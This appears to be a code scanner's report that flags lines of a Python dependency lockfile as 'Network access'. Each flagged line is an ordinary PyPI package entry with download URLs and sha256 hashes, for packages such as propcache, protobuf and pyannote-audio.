    { url = "https://files.pythonhosted.org/packages/aa/b0/c4ed4f0ef8f8fa5ee8351537db6650bb8189f7e118842978dd6589065692/pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b", 
  • Network accessline 1167
    name = "primepy" version = "1.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1168
    version = "1.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/35/77/0cfa1b4697cfb5336f3a96e8bc73327f64610be3a64c97275f1801afb395/primePy-1.3.tar.gz", hash = "sha256:25fd7e25344b0
  • Network accessline 1169
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1170
    sdist = { url = "https://files.pythonhosted.org/packages/35/77/0cfa1b4697cfb5336f3a96e8bc73327f64610be3a64c97275f1801afb395/primePy-1.3.tar.gz", hash = "sha256:25fd7e25344b0789a5984c75d89f054fcf1f180bef20c998e4befbac92de4669", size = 3914, 
  • Network accessline 1171
    wheels = [     { url = "https://files.pythonhosted.org/packages/74/c1/bb7e334135859c3a92ec399bc89293ea73f28e815e35b43929c8db6af030/primePy-1.3-py3-none-any.whl", hash = "sha256:5ed443718765be9bf7e2ff4c56cdff71b42140a15b39d054f9d99f0009e2317
  • Network accessline 1172
    { url = "https://files.pythonhosted.org/packages/74/c1/bb7e334135859c3a92ec399bc89293ea73f28e815e35b43929c8db6af030/primePy-1.3-py3-none-any.whl", hash = "sha256:5ed443718765be9bf7e2ff4c56cdff71b42140a15b39d054f9d99f0009e2317a", size = 4040
  • Network accessline 1176
    name = "propcache" version = "0.5.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1177
    version = "0.5.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7
  • Network accessline 1178
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1179
    sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50
  • Network accessline 1180
    wheels = [     { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63
  • Network accessline 1181
    { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d
  • Network accessline 1182
    { url = "https://files.pythonhosted.org/packages/6b/65/83d1d05655baf63113731bd5a1008435e14f8d1e5a06cbe4ec5b23ad7a31/propcache-0.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651b
  • Network accessline 1183
    { url = "https://files.pythonhosted.org/packages/a9/12/a6ba6482bb5ea3260c000c9b20881c95fa11c6b30173715668259f844ed7/propcache-0.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3b
  • Network accessline 1184
    { url = "https://files.pythonhosted.org/packages/a9/19/7fa086f5764c59ec8a8e157cd93aa8497acc00aba9dcdec56bfffb32602d/propcache-0.5.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a6ae219
  • Network accessline 1185
    { url = "https://files.pythonhosted.org/packages/a1/e4/5d7663dc8235956c8f5281698a3af1d351d8820341ddd890f59d9a9127f2/propcache-0.5.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6041d31
  • Network accessline 1186
    { url = "https://files.pythonhosted.org/packages/4a/4a/15a03adee24d6350da4292caeac44c34c033d2afe5e87eb370f38854560f/propcache-0.5.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7eabc04151c7
  • Network accessline 1187
    { url = "https://files.pythonhosted.org/packages/8b/c6/979176efdaa3d239e36d503d5af63a0a773b36662ed8f52e5b6a6d9fd40e/propcache-0.5.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4db0ba63d6
  • Network accessline 1188
    { url = "https://files.pythonhosted.org/packages/c8/22/63e8cd1bae4c2d2be6493b6b7d10566ddafad88137cfbc99964a1119853c/propcache-0.5.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dbcf7675229b35d31abb6547d8eb
  • Network accessline 1189
    { url = "https://files.pythonhosted.org/packages/60/5a/28e5d9acbac1cc9ccb67045e8c1b943aa8d79fdf39c93bd73cacd68008ea/propcache-0.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4
  • Network accessline 1190
    { url = "https://files.pythonhosted.org/packages/f3/40/db650677f554a95b9c01a7c9d93d629e93a15562f5deb4573c9ee136fed2/propcache-0.5.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9
  • Network accessline 1191
    { url = "https://files.pythonhosted.org/packages/80/45/70b39b89516ff8b96bf732fa6fded8cef20f293cb1508690101c3c07ec51/propcache-0.5.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee19
  • Network accessline 1192
    { url = "https://files.pythonhosted.org/packages/f9/e2/fa59d3a89eac5534293124af4f1d0d0ada091ce4a0ab4610ce03fd2bdd8d/propcache-0.5.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699
  • Network accessline 1193
    { url = "https://files.pythonhosted.org/packages/0b/97/efb547a55c4bc7381cfb202d6a2239ac621045277bc1ea5dfd3a7f0516c0/propcache-0.5.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775
  • Network accessline 1194
    { url = "https://files.pythonhosted.org/packages/92/56/f5c7d9b4b7595d5127da38974d791b2153f3d1eae6c674af3583ace92ad3/propcache-0.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464
  • Network accessline 1195
    { url = "https://files.pythonhosted.org/packages/bd/3b/484a3a65fc9f9f60c41dcd17b428bace5389544e2c680994534a20755066/propcache-0.5.2-cp313-cp313-win32.whl", hash = "sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d", si
  • Network accessline 1196
    { url = "https://files.pythonhosted.org/packages/1c/fd/3f0f10dba4dabad3bf53102be007abf55481067952bde0fdddff439e7c61/propcache-0.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757"
  • Network accessline 1197
    { url = "https://files.pythonhosted.org/packages/90/ec/6ce619cc32bb500a482f811f9cd509368b4e58e638d13f2c68f370d6b475/propcache-0.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f"
  • Network accessline 1198
    { url = "https://files.pythonhosted.org/packages/1b/82/c1d268bbbf2ef981c5bf0fbbe746db617c66e3bcefe431a1aa8943fbe23a/propcache-0.5.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf
  • Network accessline 1199
    { url = "https://files.pythonhosted.org/packages/f4/d4/52c871e73e864e6b34c0e2d58ac1ec5ccd149497ddc7ad2137ae98323a35/propcache-0.5.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b
  • Network accessline 1200
    { url = "https://files.pythonhosted.org/packages/67/f0/9b90ca2a210b3d09bcfcd96ecd0f55545c091535abce2a45de2775cfd357/propcache-0.5.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e
  • Network accessline 1201
    { url = "https://files.pythonhosted.org/packages/9d/0e/6e9d4ba07c8e56e21ddec1e75f12148142b21ca83a51871babce095334f4/propcache-0.5.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cafca7
  • Network accessline 1202
    { url = "https://files.pythonhosted.org/packages/65/19/c10badaa463dde8a27ce884f8ee2ec37e6035b7c9f5ff0c8f74f06f08dac/propcache-0.5.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f064f8
  • Network accessline 1203
    { url = "https://files.pythonhosted.org/packages/b0/b6/93bea99ca80e19cef6512a8580e5b7857bbe09422d9daa7fd4ef5723306c/propcache-0.5.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f78abfa8dfc3
  • Network accessline 1204
    { url = "https://files.pythonhosted.org/packages/83/e4/5c7462e50625f051f37fb38b8224f7639f667184bbd34424ec83819bb1b7/propcache-0.5.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f7467da8a
  • Network accessline 1205
    { url = "https://files.pythonhosted.org/packages/ca/b6/99238894047b13c823be25027e736626cd414a52a5e30d2c3347c2733529/propcache-0.5.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a6ddc6ac9e25de626c1f129c1b46
  • Network accessline 1206
    { url = "https://files.pythonhosted.org/packages/85/1e/a3a1a63116a2b8edb415a8bb9a6f0c34bd03830b1e18e8ce2904e1dc1cf4/propcache-0.5.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a98242
  • Network accessline 1207
    { url = "https://files.pythonhosted.org/packages/e4/03/893cf147de2fc6543c5eaa07ad833170e7e2a2385725bbebe8c0503723bb/propcache-0.5.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44
  • Network accessline 1208
    { url = "https://files.pythonhosted.org/packages/86/3b/04c1a2e12c57766568ba75ba72b3bf2042818d4c1425fab6fc07155c7cff/propcache-0.5.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df3
  • Network accessline 1209
    { url = "https://files.pythonhosted.org/packages/1c/34/80f8d0099f8d6bacc4de1624c85672681c8cd1149ca2da0e38fd120b817f/propcache-0.5.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d584
  • Network accessline 1210
    { url = "https://files.pythonhosted.org/packages/f3/1a/8b08f3a5f1037e9e370c55883ceeeee0f6dd0416fb2d2d67b8bfc91f2a79/propcache-0.5.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879
  • Network accessline 1211
    { url = "https://files.pythonhosted.org/packages/34/68/8bdb7bb7756d76e005490649d10e4a8369e610c74d619f71e1aedf889e9c/propcache-0.5.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd
  • Network accessline 1212
    { url = "https://files.pythonhosted.org/packages/0a/aa/50fb0b5d3968b61a510926ff8b8465f1d6e976b3ab74496d7a4b9fc42515/propcache-0.5.2-cp313-cp313t-win32.whl", hash = "sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191", s
  • Network accessline 1213
    { url = "https://files.pythonhosted.org/packages/ae/4c/0ddbae64321bd4a95bcbfc19307238016b5b1fee645c84626c8d539e5b74/propcache-0.5.2-cp313-cp313t-win_amd64.whl", hash = "sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7
  • Network accessline 1214
    { url = "https://files.pythonhosted.org/packages/00/d9/9cddc8efb78d8af264c5ec9f6d10b62f57c515feda8d321595f56010fb23/propcache-0.5.2-cp313-cp313t-win_arm64.whl", hash = "sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96
  • Network accessline 1215
    { url = "https://files.pythonhosted.org/packages/3a/ed/1cdcab6ba3d6ab7feca11fc14f0eeea80755bb53ef4e892079f31b10a25f/propcache-0.5.2-py3-none-any.whl", hash = "sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe", size = 
  • Network accessline 1219
    name = "protobuf" version = "7.36.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1220
    version = "7.36.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a7/e7/0553e21d25ca4d9f573135775348a372c3ec34a93a71d5f297c3bac38341/protobuf-7.36.0.tar.gz", hash = "sha256:e8e09c
  • Network accessline 1221
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1222
    sdist = { url = "https://files.pythonhosted.org/packages/a7/e7/0553e21d25ca4d9f573135775348a372c3ec34a93a71d5f297c3bac38341/protobuf-7.36.0.tar.gz", hash = "sha256:e8e09cb0d794c6687926fa558a8a6e72aa10edb997d5ca61da0765f12a3e00ea", size = 51
  • Network accessline 1223
    wheels = [     { url = "https://files.pythonhosted.org/packages/8f/ae/58e3ca96cb2e118cc546b677359b3c6659f79a140935c08dec94c7998585/protobuf-7.36.0-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:9103532dffd80c6fab7e50c65a31007680a06e
  • Network accessline 1224
    { url = "https://files.pythonhosted.org/packages/8f/ae/58e3ca96cb2e118cc546b677359b3c6659f79a140935c08dec94c7998585/protobuf-7.36.0-cp310-abi3-macosx_10_9_universal2.whl", hash = "sha256:9103532dffd80c6fab7e50c65a31007680a06eb57537d437bb1b3
  • Network accessline 1225
    { url = "https://files.pythonhosted.org/packages/f0/15/5162230af4912697f0fe406f6800f80760945babcff0e2c2fe6c84ef2d5d/protobuf-7.36.0-cp310-abi3-manylinux2014_aarch64.whl", hash = "sha256:bf94a5917c71058262de683669bc0a797a7669d3de71f0b36d058e
  • Network accessline 1226
    { url = "https://files.pythonhosted.org/packages/d7/09/1670b2bfc9a45e807e520c3e9be36524db9ccc7dc05ea17af7681cabdc61/protobuf-7.36.0-cp310-abi3-manylinux2014_s390x.whl", hash = "sha256:3297e60abdff301e5f74393d87f6cc59dacab5f024a89548a6e8de1d
  • Network accessline 1227
    { url = "https://files.pythonhosted.org/packages/c7/f8/bd5804695ba400e423c33fd4d9f58c28d86633d5ba1945c36ff3967d98cb/protobuf-7.36.0-cp310-abi3-manylinux2014_x86_64.whl", hash = "sha256:70f5ec8eb0da81a44360c0dc0beac99a0d78071d21956a7076bae8b
  • Network accessline 1228
    { url = "https://files.pythonhosted.org/packages/ef/9f/acd02338235a3e7d03168c4303478347b7624fc8189ff4e7f0d2654bbe86/protobuf-7.36.0-cp310-abi3-win32.whl", hash = "sha256:7326fd717bdc419162a735938d89d4032332bcc3408804012b24ff3a37086071", siz
  • Network accessline 1229
    { url = "https://files.pythonhosted.org/packages/0e/4e/12cb93270967a2affff5b3f720694700d4d87712a67afd05c8cb3f6fa52c/protobuf-7.36.0-cp310-abi3-win_amd64.whl", hash = "sha256:1781cc1de61249b750848029bca452c0a8b7e990080316b9bbc2518b2117b488",
  • Network accessline 1230
    { url = "https://files.pythonhosted.org/packages/01/c3/629999e78d46c1115c11886d51c6bd68c17ce4a944f1ea3e153a91316a33/protobuf-7.36.0-py3-none-any.whl", hash = "sha256:53374d53fc29a67f7dbbf0ade47d7526a0f0137bf0f9c90e48d8a60790ef748c", size = 
  • Network accessline 1234
    name = "pyannote-audio" version = "4.0.7" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1235
    version = "4.0.7" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1236
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1258
    { name = "torchmetrics" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d
  • Network accessline 1259
    ] sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d62e8a57c46c6648e8a8229", si
  • Network accessline 1260
    sdist = { url = "https://files.pythonhosted.org/packages/6d/d7/03b1d00d431c7be1d98635fefb99c2da64d9b84b4b8a06d5302666a96c88/pyannote_audio-4.0.7.tar.gz", hash = "sha256:3a903dfb5ca711d134cc2522561c9158b186836f5d62e8a57c46c6648e8a8229", size
  • Network accessline 1261
    wheels = [     { url = "https://files.pythonhosted.org/packages/66/a3/1d03ed6c7669f7b94ce4a7ebe3b21f5c3b6331999a5680837e371e0a0537/pyannote_audio-4.0.7-py3-none-any.whl", hash = "sha256:852ea15c4d85bc34773e618267603ffca6a521669a74d33742692c
  • Network accessline 1262
    { url = "https://files.pythonhosted.org/packages/66/a3/1d03ed6c7669f7b94ce4a7ebe3b21f5c3b6331999a5680837e371e0a0537/pyannote_audio-4.0.7-py3-none-any.whl", hash = "sha256:852ea15c4d85bc34773e618267603ffca6a521669a74d33742692cc67fc700d6", si
  • Network accessline 1266
    name = "pyannote-core" version = "6.0.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1267
    version = "6.0.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1268
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1272
    { name = "sortedcontainers" }, ] sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb
  • Network accessline 1273
    ] sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb5a0fe26014a3477867cc033fb", siz
  • Network accessline 1274
    sdist = { url = "https://files.pythonhosted.org/packages/a3/be/4a35ea31c685aef801f7f35c193e7766ca1bb948ae497a625cbfaa8c31ba/pyannote_core-6.0.1.tar.gz", hash = "sha256:4b4ada3276f6df4e073fa79166636e3597d0dcb5a0fe26014a3477867cc033fb", size 
  • Network accessline 1275
    wheels = [     { url = "https://files.pythonhosted.org/packages/ea/57/ecf62344b9b81debd0ca95ed987135e93d1b039507f8174f52d1d19d8c6b/pyannote_core-6.0.1-py3-none-any.whl", hash = "sha256:924550d6ecf6b05ad13bf3f66f59c29fc740cf1c62a6fca860ac2e6
  • Network accessline 1276
    { url = "https://files.pythonhosted.org/packages/ea/57/ecf62344b9b81debd0ca95ed987135e93d1b039507f8174f52d1d19d8c6b/pyannote_core-6.0.1-py3-none-any.whl", hash = "sha256:924550d6ecf6b05ad13bf3f66f59c29fc740cf1c62a6fca860ac2e66908203e5", siz
  • Network accessline 1280
    name = "pyannote-database" version = "6.1.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1281
    version = "6.1.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1282
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1286
    { name = "pyyaml" }, ] sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91
  • Network accessline 1287
    ] sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91a9269606d873528cd10",
  • Network accessline 1288
    sdist = { url = "https://files.pythonhosted.org/packages/65/45/6210274c187cc457e854be8b56c6819fa14376f27e7e2b6021b2aa02449a/pyannote_database-6.1.1.tar.gz", hash = "sha256:bbe76da738257a9e64061123d9694ad7e949c4f171d91a9269606d873528cd10", s
  • Network accessline 1289
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/bf/6a6f5abaa4d9f803f34c9883ef5e316624eac6be0eaa87720216be9bba12/pyannote_database-6.1.1-py3-none-any.whl", hash = "sha256:36460c70ce9f50ff25c9ea365bc83ad625bb6b2494deccf6bd3
  • Network accessline 1290
    { url = "https://files.pythonhosted.org/packages/04/bf/6a6f5abaa4d9f803f34c9883ef5e316624eac6be0eaa87720216be9bba12/pyannote_database-6.1.1-py3-none-any.whl", hash = "sha256:36460c70ce9f50ff25c9ea365bc83ad625bb6b2494deccf6bd3fc750686ae684",
  • Network accessline 1294
    name = "pyannote-metrics" version = "4.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1295
    version = "4.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1296
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1303
    { name = "scipy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd
  • Network accessline 1304
    ] sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd1a77ccec0343f7e", si
  • Network accessline 1305
    sdist = { url = "https://files.pythonhosted.org/packages/74/ba/7dbc2f790d5e321e46dc1e250ff00b69cdefc0c5695b811e96a4b932cddd/pyannote_metrics-4.1.tar.gz", hash = "sha256:afe24c54ee0799e8cfbe8ee85fa517793c3450bb7eae8fedd1a77ccec0343f7e", size
  • Network accessline 1306
    wheels = [     { url = "https://files.pythonhosted.org/packages/ca/d3/9cd1df66aa9be47a36df46f007e198bbdec3ddebc1bd8833c7a9e8a554a9/pyannote_metrics-4.1-py3-none-any.whl", hash = "sha256:34a54b7671f61709c1865d0484843e5b46ea3c4e4e5260ab065e5b
  • Network accessline 1307
    { url = "https://files.pythonhosted.org/packages/ca/d3/9cd1df66aa9be47a36df46f007e198bbdec3ddebc1bd8833c7a9e8a554a9/pyannote_metrics-4.1-py3-none-any.whl", hash = "sha256:34a54b7671f61709c1865d0484843e5b46ea3c4e4e5260ab065e5b3156c733d3", si
  • Network accessline 1311
    name = "pyannote-pipeline" version = "4.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1312
    version = "4.0.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1313
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1320
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f642
  • Network accessline 1321
    ] sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f6426c3255ff45dd3c6da",
  • Network accessline 1322
    sdist = { url = "https://files.pythonhosted.org/packages/d2/47/a6a49d82ea640fe320e227247402965ebc3a62a0fb2bfed13f6b17a45025/pyannote_pipeline-4.0.0.tar.gz", hash = "sha256:aa0156f76de132269f4069eca6d884d245e017e2c94f6426c3255ff45dd3c6da", s
  • Network accessline 1323
    wheels = [     { url = "https://files.pythonhosted.org/packages/d8/83/51290b8a17a3007bc4e4a5ea897f0765f30a6598d58670ba12d35ac0cc36/pyannote_pipeline-4.0.0-py3-none-any.whl", hash = "sha256:6b0bfc19e684d89cc1608bb39448e15ff1231d4a87e99fc7e81
  • Network accessline 1324
    { url = "https://files.pythonhosted.org/packages/d8/83/51290b8a17a3007bc4e4a5ea897f0765f30a6598d58670ba12d35ac0cc36/pyannote_pipeline-4.0.0-py3-none-any.whl", hash = "sha256:6b0bfc19e684d89cc1608bb39448e15ff1231d4a87e99fc7e812e7891b8cd555",
  • Network accessline 1328
    name = "pyannoteai-sdk" version = "0.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1329
    version = "0.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1330
    source = { registry = "https://pypi.org/simple/" } dependencies = [     { name = "requests" },
  • Network accessline 1332
    { name = "requests" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c9
  • Network accessline 1333
    ] sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c90c5a16fa441ea8cf9d", si
  • Network accessline 1334
    sdist = { url = "https://files.pythonhosted.org/packages/f6/53/3e3f14c1382cf14e1dfeb958c08282c44ac07e6965803608e1b748a38273/pyannoteai_sdk-0.4.0.tar.gz", hash = "sha256:fbdade06eb54347374acf10698b8c9c0bcdb592f8339c90c5a16fa441ea8cf9d", size
  • Network accessline 1335
    wheels = [     { url = "https://files.pythonhosted.org/packages/f9/8d/16e62133ff748931e923c2d29a150a710c85283f533a4148adc42addb6a8/pyannoteai_sdk-0.4.0-py3-none-any.whl", hash = "sha256:36a0175978e0427f27843d690eb4d1e8ec839009ea540516d6dfcd
  • Network accessline 1336
    { url = "https://files.pythonhosted.org/packages/f9/8d/16e62133ff748931e923c2d29a150a710c85283f533a4148adc42addb6a8/pyannoteai_sdk-0.4.0-py3-none-any.whl", hash = "sha256:36a0175978e0427f27843d690eb4d1e8ec839009ea540516d6dfcdce749cd883", si
  • Network accessline 1340
    name = "pygments" version = "2.21.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1341
    version = "2.21.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca7
  • Network accessline 1342
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1343
    sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 50
  • Network accessline 1344
    wheels = [     { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377
  • Network accessline 1345
    { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 
  • Network accessline 1349
    name = "pyparsing" version = "3.3.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1350
    version = "3.3.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d
  • Network accessline 1351
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1352
    sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc", size = 68
  • Network accessline 1353
